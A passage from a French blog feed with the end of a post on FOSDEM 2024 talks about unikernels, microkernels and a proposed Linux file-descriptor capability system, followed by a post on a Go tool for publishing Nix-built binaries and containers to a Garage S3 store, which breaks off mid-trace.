&lt;p&gt;&lt;em&gt;Je pense que c’est important de mentionner ça, parce que dans un monde où on est matrixé par la sécurité, l’isolation des ressources est aussi très désirable
en terme de stabilité des performances et pour éviter des bugs.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Alex conclut son talk en se demande comment mobiliser l’existant pour aboutir vers une infrastructures dont les interfaces seraient plus
en adéquation avec notre modèle mental, que ce soit du côté des microkernels, des entrées/sorties, ou encore des frameworks &amp;amp; OS existants.&lt;/p&gt;

&lt;p&gt;Lors de la session question/réponse, il y a une intervention qui m’a bien plus : “comment pensez-vous gérer la network transparency?”. Alex a répondu que toutes nos applications communiquent déjà à travers le réseau.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;J’ai le sentiment que la question n’était pas exactement là, mais plus comment on connecte des processus entre eux, bref, une question de bus, de service discovery, de service mesh. Par exemple dans &lt;a href=&quot;https://www.erlang.org/doc/reference_manual/distributed.html&quot;&gt;la documentation de Erlang&lt;/a&gt;, on peut lire :&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A distributed Erlang system consists of a number of Erlang runtime systems communicating with each other. Each such runtime system is called a node. Message passing between processes at different nodes, as well as links and monitors, are transparent when pids are used. Registered names, however, are local to each node. This means that the node must be specified as well when sending messages, and so on, using registered names. The distribution mechanism is implemented using TCP/IP sockets. How to implement an alternative carrier is described in the ERTS User’s Guide.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Il me semble important aussi de lire les réflexions qui ont eu lieu dans le monde du microservice : que ce soit &lt;a href=&quot;https://istio.io/&quot;&gt;istio&lt;/a&gt;, &lt;a href=&quot;https://developer.hashicorp.com/consul/docs/connect&quot;&gt;Consul Connect&lt;/a&gt;, ou le &lt;a href=&quot;https://dapr.io/&quot;&gt;Dapr&lt;/a&gt; de Microsoft. Actuellement, Deuxfleurs utilise un modèle basé sur le service discovery via DNS. Il a plusieurs faiblesses : pas de contrôle de permission, pas de gestion correcte des crashs - les services ne refont pas toujours de résolution quand un service crash et gardent une IP obsolète, pas de gestion du chiffrement, etc. L’article &lt;a href=&quot;https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8354433&quot;&gt;Microservices: The Journey So Far and Challenges Ahead&lt;/a&gt; remet bien ces problèmes et explique pourquoi l’industrie s’est déplacée vers les Service Mesh. Et puis, il me semble important d’aller creuser un peu plus loin aussi : du côté de &lt;a href=&quot;https://fr.wikipedia.org/wiki/D-Bus&quot;&gt;dbus&lt;/a&gt;, du côté de &lt;a href=&quot;https://lwn.net/Articles/715955/&quot;&gt;Greybus&lt;/a&gt;, ou même du côté de &lt;a href=&quot;https://elinux.org/Android_Binder&quot;&gt;Binder&lt;/a&gt; dans Android. Et puis de pousser encore un peu plus loin, et d’aller voir les &lt;a href=&quot;https://fr.wikipedia.org/wiki/Enterprise_service_bus&quot;&gt;Enterprise Service Bus&lt;/a&gt; et les &lt;a href=&quot;https://en.wikipedia.org/wiki/Message_broker&quot;&gt;Message Brokers&lt;/a&gt;. Ainsi on couvre - à ma connaissance - l’ensemble des approches pour échanger des messages.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;discussion&quot;&gt;Discussion&lt;/h2&gt;

&lt;p&gt;Voilà, c’est la fin de mes notes commentées du talk, maintenant j’arrête d’écrire en italique pour donner mon avis. Je trouve le sujet d’interroger notre modèle mental au regard des interfaces utilisés très pertinent, je pense que penser l’isolation des ressources à travers un système de processus qui communiquent entre eux est très fécond.En fait ça vient construire toute une réflexion sur 1) comment on gère ces processus et 2) comment on gère ces communications. Et quant on regarde ce qu’on fait à travers cette analyse, ça sent toujours la bidouille, on est toujours en train de “lutter contre le système”.&lt;/p&gt;

&lt;p&gt;Par contre, pour moi la solution n’est pas “un microkernel”, un “unikernel” ou un “hyperviseur”. Aujourd’hui, quand on pense aux microkernels, on pense surtout à isoler les drivers, des composants bas niveau du système, etc. Soit des choses aujourd’hui qui ne nous posent pas de problème : Linux juste marche dans notre cas. N’en faisons pas un faux problème juste parce qu’on trouve son design peu élégant : il compense ça par une énorme communauté de gens très compétents et des processus de développements qui fonctionnent. De toute manière, quand il s’agit de tourner sur des vrais ordinateurs, l’enjeu ce sont les drivers, et ils n’existent pas sur les microkernels actuels. Enfin, c’est un monstre d’I/O et de performances, avec des gens qui ont étudié ses différents schedulers (processus, I/O, etc), qui a de nombreux outils de debug, d’observation, qui n’ont pas d’égale ailleurs.&lt;/p&gt;

&lt;p&gt;Selon moi, dans le débat, on confond le noyau Linux, avec la Linux Programming Interface, et plus particulièrement POSIX ou les &lt;a href=&quot;https://fr.wikipedia.org/wiki/Single_UNIX_Specification&quot;&gt;Single UNIX Specification&lt;/a&gt;. On a cette idée que Linux isole mal parce qu’il expose une surface d’attaque trop grande à travers ses appels systèmes (pour POSIX/SUS). Il faudrait donc un hyperviseur avec des machines virtuelles, ou la version optimisée : un unikernel, qui expose une surface beaucoup plus petite et plus simple, pour résoudre ce problème. Mais pourquoi ? Si le problème c’est l’interface, c’est cette interface qu’il faut réduire ! Et c’est super facile, ça s’appelle &lt;a href=&quot;https://fr.wikipedia.org/wiki/Seccomp&quot;&gt;seccomp&lt;/a&gt;. Dans sa version originelle, seccomp ne permet que &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;write&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exit&lt;/code&gt; et &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sigreturn&lt;/code&gt; sur des descripteurs de fichier déjà ouvert. In fine, c’est une surface d’attaque bien moins grande, qui essaient d’émuler &lt;a href=&quot;https://www.pandasecurity.com/en/mediacenter/venom-the-security-vulnerability-in-your-floppy-drive/&quot;&gt;des périphériques obscures&lt;/a&gt;. Et puis quand bien même on trouverait ça encore trop, pourquoi ne pas envisager de patcher Linux pour enlever ce qui ne convient pas ? Ça me semble bien moins ambitieux que de repartir sur un système complètement différent.&lt;/p&gt;

&lt;p&gt;Alors, on pourrait toujours avancer que des outils comme &lt;a href=&quot;https://firecracker-microvm.github.io/&quot;&gt;Firecraker&lt;/a&gt; ne gardent que le strict minimum, et que donc, il ne s’agit plus que de choisir si notre interface est &lt;a href=&quot;https://fr.wikipedia.org/wiki/Virtio&quot;&gt;VirtIO&lt;/a&gt; ou un stream sur &lt;a href=&quot;https://en.wikipedia.org/wiki/File_descriptor&quot;&gt;un file descriptor&lt;/a&gt; Linux. Que c’est bonnet blanc et blanc bonnet. Mais ce que j’observe, c’est que dans le monde des hyperviseurs, on fait surtout des boites noires. Alors on rationalise : on déploie plein de boites noires qu’on gère de manière identique, mais on a déplacé beaucoup des problèmes dans ces boites noires. Avec VirtIO, on a du réseau et du stockage, mais on n’a toujours pas de bus de communication. Notre boite noire devient un seul processus, mais à l’intérieur, il y a plusieurs processus en réalité. On a donc dupliqué plein de choses : des schedulers de processus, mais aussi des scheduler d’I/O. Et puis un scheduler ça observe son environnement, ça fait des suppositions, et ça prend des décisions. Quid des interférences entre ces schedulers ? Je sais d’expérience que ça arrive. Et puis on a une API de bas-niveau, certe simple, mais qui embarque avec elle très peu d’informations sur le contexte, elle est très peu descriptive, on perd en expressivité. Et donc on donne moins de latitude au scheduler bas-niveau.
Un exemple : Linux utilise la RAM de deux façons, directement pour les applications, et pour du cache. Certaines applications utilisent astucieusement cette capacité de cache, comme LMDB. Mais du point de vue de l’hyperviseur, il n’y a pas de différence entre le cache - récupérable - et la mémoire vraiment utilisée. On peut donc se retrouver à prendre des décisions sous-optimales. Et puis, enfin, en faisant des silos, on se prive de la mutualisation de certaines tâches. Pour provoquer : pourquoi on a un problème avec Electron (le fait de faire tourner un moteur Javascript par application) mais pas avec les unikernel ?&lt;/p&gt;

&lt;p&gt;Enfin, il me semble nécessaire de faire une critique des unikernels du point de vue de &lt;a href=&quot;https://en.wikipedia.org/wiki/Conway%27s_law&quot;&gt;la “loi de Conway”&lt;/a&gt; : les logiciels reflètent l’organisation sociale des gens qui l’ont produit. Et les interfaces logicielles sont la représentation des frontières entre les groupes. Quand on fait de l’unikernel, l’interface correspond à ce qu’on appelle de l’&lt;a href=&quot;https://fr.wikipedia.org/wiki/Infrastructure_as_a_service&quot;&gt;IaaS&lt;/a&gt;. Or il ressort lors de mes échanges que le bon niveau est plutôt du côté de ce qu’on appelle &lt;a href=&quot;https://fr.wikipedia.org/wiki/Platform_as_a_service&quot;&gt;PaaS&lt;/a&gt; / &lt;a href=&quot;https://fr.wikipedia.org/wiki/Informatique_sans_serveur&quot;&gt;Serverless&lt;/a&gt;. C’est d’ailleurs ce qu’ont confirmé les deux sessions suivantes : &lt;a href=&quot;https://genezio.com/&quot;&gt;Genezio&lt;/a&gt; utilise des unikernels mais ne les expose pas à ses clients directement, elle leur propose du PaaS. &lt;a href=&quot;https://fosdem.org/2024/schedule/event/fosdem-2024-3456-a-modular-approach-to-effortless-and-dependency-aware-unikernel-building/&quot;&gt;Bunny&lt;/a&gt; est un builder sur le modèle de Docker pour packager des applications Unikernel, mais en réalité la plupart des gens veulent surtout faire un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push&lt;/code&gt; et que leur code se déploie seul.&lt;/p&gt;

&lt;p&gt;Autrement dit, les technologies changent (de PHP au Serverless Typescript), mais il semble se dégager une constante : il est avisé de placer la frontière, l’interface, entre les développeur-euses qui encodent un métier dans leur langage de programmation d’une part, et ceux qui encodent une abstraction du matériel d’autre part. Cette abstraction doit permettre aux premiers d’exprimer leurs intentions, et au second d’y ajouter des contraintes qui permettent une utilisation efficiente du matériel. L’API S3 est un bon exemple : on peut stocker un fichier binaire de taille arbitraire, faire plein de choses avec, il très facile à servir, et en même temps, les contraintes sur l’API nous permettent de faire du géo-distribué ce que ne permet pas POSIX. A mon sens, ce modèle fonctionne très bien avec la philosophie microkernel : par défaut on n’a pas confiance dans le processus et on a un système standardisé avec une vérification systématique des permissions, avec une granularité aussi fine que voulu, pour accéder aux ressources.&lt;/p&gt;

&lt;p&gt;Certaines personnes lors de la présentation envisageaient les unikernels comme des “libOS”. Et c’est peut-être là, selon moi, que se trouve une issue intéressante au concept : on pourrait enlever/désactiver certains composants de Linux, et faire nos propres composants microkernel à partir d’une libOS. Par exemple, tirer une stack QUIC d’une libOS, la wrap dans notre propre système de permission, et l’intégrer à notre système microkernel like.&lt;/p&gt;

&lt;h2 id=&quot;proposition&quot;&gt;Proposition&lt;/h2&gt;

&lt;p&gt;Mon système idéal pourrait se résumer à : un Linux, dont on ne garderait que les descripteurs de fichier, qui formeraient la base d’un système de capability systématique.&lt;/p&gt;

&lt;p&gt;Plus spécifiquement un noyau Linux qu’on aurait potentiellement compilé, placé dans une partition EFI, potentiellement sans initramfs, ni système de fichier, avec un système d’initialisation qui soit un binaire de notre cru. Il serait en charge de lancer un ensemble hardcodé de process (possiblement en se forkant) : un daemon de membership pour s’interconnecter avec les autres serveurs de la grappe, connaitre leur adresse réseau et leurs services, un daemon de message bus - aussi appelé service mesh - qui se chargerait du routage des messages, des contrôles de permission, du chiffrement, etc., un daemon d’orchestration, qui serait en charge de démarrer les processus sur le noeud local avec les paramètres d’isolation seccomp et cgroup (à minima), et de passer les descripteurs de fichier dans le process et enfin un daemon de debug avec un ssh qui permette de se connecter et inspecter le système.&lt;/p&gt;

&lt;p&gt;Tout le système serait construit sur les descripteurs de fichier, un processus n’aurait pas accès à l’interface de programmation de Linux (hormis les quelques appels systèmes pour manipuler des descripteurs de fichier déjà ouverts, grâce à seccomp toujours). Si un processus veut accéder à l’heure, à un timer, ou tout autre chose, il doit récupérer un descripteur de fichier. Je pense que ce système est particulièrement efficace : avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;poll&lt;/code&gt;, puis &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;epoll&lt;/code&gt;, et maintenant &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;io_uring&lt;/code&gt;, de nombreuses ressources sont exposables via un descripteur de fichier maintenant. Ça veut aussi dire, que dans plein de cas, on peut éviter d’ajouter des surcouches : un daemon peut setup une connexion TLS avec &lt;a href=&quot;https://docs.kernel.org/networking/tls.html&quot;&gt;kTLS&lt;/a&gt; et passer le descripteur au process, qui alors fait du TLS sans s’en rendre compte, et de manière bien plus efficiente que notre système de reverse proxy actuel. Pour des cas spécifiques qui ne sont pas directement supportés par le noyau Linux, alors le descripteur de fichier serait une unix domain socket ou un pipe vers le daemon parent qui se chargerait du travail et des vérifications. Certains processus plus privilégiés pourraient donc avoir accès à quelques syscalls du domaine qu’ils gèreraient. On aurait par exemple un processus qui aurait accès aux syscalls de netfilter, avec qui ont communiquerait à l’aide de UNIX Sockets, pour demander des configurations. Il vérifierait alors les permissions, serait conçu pour gérer correctement cet objet partagé, et appliquerait les modifications.&lt;/p&gt;

&lt;p&gt;Quelques précisions : quand on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fork&lt;/code&gt; + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt; avec Linux, les file descriptors ouverts sont passés au processus enfant. Mais se pose la question quand le processus est démarré : comment peut-il obtenir de nouveaux descripteurs ? À travers un appel système comme &lt;a href=&quot;https://man7.org/linux/man-pages/man2/pidfd_getfd.2.html&quot;&gt;pidfd_getfd&lt;/a&gt; ou via &lt;a href=&quot;https://man7.org/linux/man-pages/man7/unix.7.html&quot;&gt;SCM_RIGHTS&lt;/a&gt;. Maintenant on peut imaginer que l’init crée un canal de communication entre notre daemon de message et notre orchestrateur au démarrage. Lorsque l’orchestrateur veut démarrer un nouveau processus, il demande - en suivant la description du service - au message bus les descripteurs de fichiers demandés - comme écouter sur un port, ouvrir une connexion TCP, etc. Le message bus les renvoie à l’orchestrateur, qui démarre le service en passant ces descripteurs de fichier. Dans le cas où le service enfant veut intéragir directement avec le message bus, par exemple parce qu’il est amené à ouvrir des connexions dans son cycle de vie, l’orchestrateur peut demander au message bus d’ouvrir une paire de descripteur de fichier vers lui-même avec des restrictions de permissions indiquées par l’orchestrateur, et passer ce descripteur à l’enfant.&lt;/p&gt;

&lt;p&gt;La rétro-compatibilité peut alors s’envisager avec des outils comme &lt;a href=&quot;https://gvisor.dev/&quot;&gt;gVisor&lt;/a&gt;. Le système de fichier pourrait être émulé, ainsi que beaucoup d’autres aspects. Ce dont on aurait vraiment besoin, comme le réseau par exemple, serait alors intercepté, et les appels convertit pour intéragir avec le message bus. Mais de manière générale, tout ce qui permet d’intercepter les syscalls est envisageable. Ainsi un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; avant une libc est envisageable aussi, voire une libc spécifique, possiblement il y a des choses à creuser du côté de emscripten.&lt;/p&gt;

&lt;p&gt;On pourrait alors imaginer un service de serverless/lambda function sur ce modèle. En gros le principe d’un système de ce genre, c’est de charger le code de l’utilisateur qu’en cas de besoin. C’est un peu la version cloud de &lt;a href=&quot;https://fr.wikipedia.org/wiki/Inetd&quot;&gt;inetd&lt;/a&gt; si vous préférez. Donc on aurait un daemon web qui écouterait. Lors de la réception d’une requête HTTP, il scannerait le champs Host de la requête et son URL. En fonction de cette dernière, il demanderait à l’orchestrateur de démarrer le service adéquat, et de connecter ses descripteurs de fichier pour gérer la requête/réponse. Là encore, si l’utilisateur veut que son service puisse accéder à des ressources autres, il devra les déclarer au moment de publier son code, et ne pourra pas outrepasser ce qui lui est permis.&lt;/p&gt;

&lt;p&gt;L’idée que je présente est partiellement discutée dans un papier intitulé &lt;a href=&quot;http://arkanis.de/projects/2013-01%20Capabilities/A%20capability%20inspired%20low%20level%20security%20model%20based%20on%20modern%20Linux%20kernels.pdf&quot;&gt;A capability inspired low level security model based on modern Linux kernels&lt;/a&gt;. Ma proposition se différencie dans le sens où, pour contourner certaines limitations des descripteurs de fichier, j’envisage des daemons en espace utilisateur qui se chargeraient de réduire le scope. Il est bon de noter, en plus de Capsicum, le cas de &lt;a href=&quot;https://lwn.net/Articles/674770/&quot;&gt;Cloud ABI&lt;/a&gt;. Pour moi, Capsicum, à vouloir moduler ce que fait le descripteur de fichier se trompe : ça doit rester un stream simple, l’important c’est qui il y a au bout. Le projet que j’envisage est justement de définir ces composants (orchestrateur, message bus, etc.) dans un monde où on a que des descripteurs de fichier. CloudABI se concentre uniquement sur la rétro-compatibilité : comment s’assurer que les processus existants, supposant un POSIX/interface de programmation Linux vont bien se comporter et ne vont pas crasher/silencieusement downgrade vers des comportements indésirables (par exemple pour la cryptographie et la génération d’aléatoire). C’est intéressant mais orthogonal.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;J’ai vu deux trois autres choses au FOSDEM. En vrac : j’ai bien aimé &lt;a href=&quot;https://fosdem.org/2024/schedule/event/fosdem-2024-3009-advances-in-garage-the-low-tech-storage-platform-for-geo-distributed-clusters/&quot;&gt;la présentation de Garage&lt;/a&gt; par Alex, j’ai beaucoup apprécié aussi le lightning talk de Emily Omier &lt;a href=&quot;https://fosdem.org/2024/schedule/event/fosdem-2024-3154-project-websites-that-don-t-suck/&quot;&gt;Project websites that don’t suck&lt;/a&gt; : très pertinent, très bien exécuté. Plein de monde, de food trucks, de stands, de présentations, je n’ai pas essayé de tout faire : j’ai essayé de me focaliser seulement sur ces deux points. Si vous avez un billet de blog sur votre FOSDEM, je peux le référencer en bas de celui-ci.&lt;/p&gt;
</description>
        <pubDate>Tue, 06 Feb 2024 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2024-02-06/fosdem/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2024-02-06/fosdem/</guid>
      </item>
    
    
    
      <item>
        <title>Automatiser la publication des artefacts</title>
        
        <description>&lt;p&gt;Cet article fait suite aux 3 articles précédents :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://quentin.dufour.io/blog/2023-04-06/un-registre-statique-docker-avec-garage/&quot;&gt;Un registre statique Docker avec Garage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://quentin.dufour.io/blog/2023-04-11/fabriquer-des-conteneurs-l%C3%A9gers-depuis-une-ci-cd/&quot;&gt;Construire et publier des conteneurs sans daemon Docker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://quentin.dufour.io/blog/2023-04-12/un-outil-sans-daemon-pour-g%C3%A9rer-ses-artefacts-de-build/&quot;&gt;Spécifier un registre d’artefacts et l’intégrer dans un site web&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mainteant qu’on comprend mieux le problème, on aimerait définir un outil pour nous faciliter la vie à la publication. Il sera indépendant (standalone) mais développé au sein du dépôt albatros car il est prévu pour être utilisé de pair. Dans ce billet, son nom de code est &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alba&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Commençons par les entrées de notre programme : un ensemble de fichiers qui doit être généré par nos outils Nix :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# static&lt;/span&gt;
nix build .#packages.x86_64-linux.albatros  &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/linux/amd64/albatros
nix build .#packages.i686-linux.albatros    &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/linux/386/albatros
nix build .#packages.aarch64-linux.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/arm64/albatros
nix build .#packages.armv6l-linux.albatros  &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/linux/arm/albatros

&lt;span class=&quot;c&quot;&gt;# docker&lt;/span&gt;
nix build .#packages.x86_64-linux.docker.albatros  &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; docker/linux.amd64.tar.gz
nix build .#packages.armv6l-linux.docker.albatros  &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; docker/linux.arm.tar.gz
nix build .#packages.aarch64-linux.docker.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; docker/linux.arm64.tar.gz
nix build .#packages.i686-linux.docker.albatros    &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; docker/linux.386.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et maintenant imaginons les commandes de base :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alba static push &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; albatros:0.9 docker/ &lt;span class=&quot;s1&quot;&gt;&apos;s3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&amp;amp;region=garage&amp;amp;s3ForcePathStyle=true&apos;&lt;/span&gt;
alba container push &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; albatros:0.9 docker/ &lt;span class=&quot;s1&quot;&gt;&apos;s3://registry.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&amp;amp;region=garage&amp;amp;s3ForcePathStyle=true&apos;&lt;/span&gt;
alba container push &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; albatros:0.9 docker/ &lt;span class=&quot;s1&quot;&gt;&apos;docker://docker.io/dxflrs/albatros:0.9&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On pourra imaginer d’avantage de commandes par la suite comme :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alba static &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; albatros &lt;span class=&quot;s1&quot;&gt;&apos;s3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&amp;amp;region=garage&apos;&lt;/span&gt;
alba static &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; albatros:0.8 &lt;span class=&quot;s1&quot;&gt;&apos;s3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&amp;amp;region=garage&apos;&lt;/span&gt;
alba static gc &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; albatros &lt;span class=&quot;nt&quot;&gt;--keep&lt;/span&gt; 10 &lt;span class=&quot;s1&quot;&gt;&apos;s3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&amp;amp;region=garage&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Mais c’est en dehors du périmètre pour le moment !&lt;/p&gt;

&lt;h2 id=&quot;la-glue&quot;&gt;La glue&lt;/h2&gt;

&lt;p&gt;J’ai choisi d’utiliser un petit panel de bibliothèques pour faire la glue entre tout ça :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Go CDK pour la publication des artefacts sur un object storage&lt;/li&gt;
  &lt;li&gt;crane pour la publication d’images OCI sur un registre compatible&lt;/li&gt;
  &lt;li&gt;Cobra comme framework CLI&lt;/li&gt;
  &lt;li&gt;containers/image comme bibliothèque de manipulation des conteneurs&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;publier-un-binaire-statique-sur-garage&quot;&gt;Publier un binaire statique sur Garage&lt;/h2&gt;

&lt;p&gt;Après implémentation, voici la trace de la commande :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./alba static push -t albatros:0.9 df/ &apos;s3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&amp;amp;s3ForcePathStyle=true&amp;amp;region=garage&apos;
df/linux/386/albatros -&amp;gt; df-dist-v1/albatros/0.9/linux/386/albatros
df/linux/amd64/albatros -&amp;gt; df-dist-v1/albatros/0.9/linux/amd64/albatros
df/linux/arm/albatros -&amp;gt; df-dist-v1/albatros/0.9/linux/arm/albatros
df/linux/arm64/albatros -&amp;gt; df-dist-v1/albatros/0.9/linux/arm64/albatros
tag -&amp;gt; df-dist-v1/albatros/0.9
manifest -&amp;gt; df-dist-v1/albatros
✅ push succeeded
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut vérifier que tout fonctionne avec curl :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl https://download.deuxfleurs.org/df-dist-v1/albatros
{&quot;name&quot;:&quot;albatros&quot;,&quot;tags&quot;:[&quot;0.9&quot;]}
$ curl https://download.deuxfleurs.org/df-dist-v1/albatros/0.9
{&quot;flavors&quot;:[{&quot;resources&quot;:[{&quot;path&quot;:&quot;albatros&quot;}],&quot;platform&quot;:{&quot;architecture&quot;:&quot;386&quot;,&quot;os&quot;:&quot;linux&quot;}},{&quot;resources&quot;:[{&quot;path&quot;:&quot;albatros&quot;}],&quot;platform&quot;:{&quot;architecture&quot;:&quot;amd64&quot;,&quot;os&quot;:&quot;linux&quot;}},{&quot;resources&quot;:[{&quot;path&quot;:&quot;albatros&quot;}],&quot;platform&quot;:{&quot;architecture&quot;:&quot;arm&quot;,&quot;os&quot;:&quot;linux&quot;}},{&quot;resources&quot;:[{&quot;path&quot;:&quot;albatros&quot;}],&quot;platform&quot;:{&quot;architecture&quot;:&quot;arm64&quot;,&quot;os&quot;:&quot;linux&quot;}}]}
$ curl -I https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/linux/amd64/albatros
HTTP/2 200
content-type: application/octet-stream
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;publier-un-conteneur-sur-garage&quot;&gt;Publier un conteneur sur Garage&lt;/h2&gt;

&lt;p&gt;Après implémentation, voici la trace de la commande :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./alba container push -t albatest:0.9 docker/ &apos;s3://registry.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&amp;amp;s3ForcePathStyle=true&amp;amp;region=garage&apos;
-- load docker archives --
docker/linux.386.tar.gz -&amp;gt; [oci system image; os:linux, arch:386, path:/tmp/alba-oci4145280408/0]
docker/linux.amd64.tar.gz -&amp;gt; [oci system image; os:linux, arch:amd64, path:/tmp/alba-oci4145280408/1]
docker/linux.arm.tar.gz -&amp;gt; [oci system image; os:linux, arch:arm, path:/tmp/alba-oci4145280408/2]
docker/linux.arm64.tar.gz -&amp;gt; [oci system image; os:linux, arch:arm64, path:/tmp/alba-oci4145280408/3]
-- merge system images --
-&amp;gt; oci-layout
-&amp;gt; index.json
/tmp/alba-oci4145280408/0/blobs/sha256 -&amp;gt; /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
/tmp/alba-oci4145280408/1/blobs/sha256 -&amp;gt; /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
/tmp/alba-oci4145280408/2/blobs/sha256 -&amp;gt; /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
/tmp/alba-oci4145280408/3/blobs/sha256 -&amp;gt; /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
-- push to the s3 target --
[index] index.json -&amp;gt; v2/albatest/manifests/0.9
[index] index.json -&amp;gt; v2/albatest/manifests/sha256:5b522fa8bdd9c959c31c0dfd59cabe4e3f1c2a05fff794f1b371af9cd60e106f
[manifest linux 386] /tmp/alba-oci4145280408/multi/blobs/sha256/d81112fd42d4d055a449dfbf054bdce6e4862825f57ea713cd9a622f88b294e1 -&amp;gt; v2/albatest/manifests/sha256:d81112fd42d4d055a449dfbf054bdce6e4862825f57ea713cd9a622f88b294e1
[manifest linux amd64] /tmp/alba-oci4145280408/multi/blobs/sha256/db570b83c5f5f2f0dca7ab9c814d45395654fd91a01bfd573d729ff8cb9cba5c -&amp;gt; v2/albatest/manifests/sha256:db570b83c5f5f2f0dca7ab9c814d45395654fd91a01bfd573d729ff8cb9cba5c
[manifest linux arm] /tmp/alba-oci4145280408/multi/blobs/sha256/0a1d95229adc211231f0114d49b05b8f1dd1005a15e46b67d94d2ff6995eb0ff -&amp;gt; v2/albatest/manifests/sha256:0a1d95229adc211231f0114d49b05b8f1dd1005a15e46b67d94d2ff6995eb0ff
[manifest linux arm64] /tmp/alba-oci4145280408/multi/blobs/sha256/7e3c758750bcec00f384e7a48037ced80745ec06b4140aab8e1ceb76d635029f -&amp;gt; v2/albatest/manifests/sha256:7e3c758750bcec00f384e7a48037ced80745ec06b4140aab8e1ceb76d635029f
